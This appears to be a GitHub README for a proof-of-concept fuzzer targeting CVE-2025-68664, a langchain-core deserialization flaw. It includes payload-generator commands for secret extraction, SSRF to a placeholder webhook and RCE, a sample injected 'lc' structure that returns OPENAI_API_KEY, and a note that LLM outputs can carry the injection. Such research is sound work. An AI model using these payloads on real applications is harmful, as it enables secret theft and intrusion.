A testing framework to identify and demonstrate deserialization vulnerabilities in LangChain Core (<0.3.81). Educational use only
LangGrinch-PoC/
│
├── README.md # Main documentation & writeup
├── PAYLOADS.md # Complete payload arsenal (55+)
├── langgrinch_fuzzer.py # Python payload generator & tester
├── requirements.txt # Python dependencies
└── LICENSE # MIT License
# Clone the repository
git clone https://github.com/Ak-cybe/LangGrinch-PoC.git
cd LangGrinch-PoC
# Install dependencies
pip install -r requirements.txt
# List all available payloads
python langgrinch_fuzzer.py --list
# Show payloads by category
python langgrinch_fuzzer.py --category recon
python langgrinch_fuzzer.py --category ssrf
python langgrinch_fuzzer.py --category rce
# Generate custom secret extraction payload
python langgrinch_fuzzer.py --secret MY_API_KEY
# Generate custom SSRF payload
python langgrinch_fuzzer.py --ssrf http://your-webhook.com/
# Export all payloads to JSON
python langgrinch_fuzzer.py --export payloads.json
Matrix GIF
CVE-2025-68664 (Codename: LangGrinch) is a critical serialization injection vulnerability discovered in the LangChain Core Python package. This vulnerability allows attackers to inject malicious lc markers through LLM outputs or user-controlled dictionaries, enabling:
⚡ Quick Stats
|
🎯 Affected Versions
|
| Property | Value |
|---|---|
| 🆔 CVE ID | CVE-2025-68664 |
| 🏷️ Codename | LangGrinch |
| 📊 Severity | CRITICAL 🔴 |
| 🔗 CWE | CWE-502 (Deserialization of Untrusted Data) |
| 📦 Affected Package | langchain-core |
| ⚠️ Vulnerable Versions | < 0.3.81 AND >= 1.0.0, < 1.2.5 |
| ✅ Patched Versions | 0.3.81+, 1.2.5+ |
LangChain is a popular Python framework used to build applications with Large Language Models (LLMs). It is widely deployed across various industries:
| 🏢 Use Case | 📝 Description |
|---|---|
| 🤖 AI Chatbots | Customer service, support agents |
| 🔍 RAG Systems | Retrieval-Augmented Generation |
| 🔧 AI Agents | Autonomous task execution |
| 📊 Data Processing | Document analysis, summarization |
| 🔄 Workflow Automation | AI-powered pipelines |
LangChain's internal serialization format uses a special marker - the lc key. When a dictionary contains the lc key, the LangChain deserializer treats it as a "trusted LangChain serialized object."
The bug is:
dumps() / dumpd() functions do NOT escape/neutralize the lc key in user/LLM-controlled dictionariesload() / loads(), the injected structure is processed as an internal object🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 User/LLM Input → Dictionary with malicious "lc" marker │
│ ↓ │
│ 💾 Application serializes data (dumps/dumpd) │
│ ↓ │
│ ⚠️ "lc" key NOT escaped - remains in serialized form │
│ ↓ │
│ 🔄 Later: Data deserialized (load/loads) │
│ ↓ │
│ 🎯 Deserializer sees "lc" → Treats as LangChain object! │
│ ↓ │
│ 💀 Secret resolution / Object instantiation triggered │
│ ↓ │
│ 💥 SECRETS LEAKED / SSRF / RCE │
└─────────────────────────────────────────────────────────────────┘
In LangChain's serialization format, the presence of "lc": 1 inside a dictionary indicates that it is a LangChain serialized object, not normal user data:
{
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
When the deserializer encounters this structure:
lc == 1 confirms it's a LangChain objecttype == "secret" triggers the secret resolution pathid arrayos.environ["OPENAI_API_KEY"] value is returned!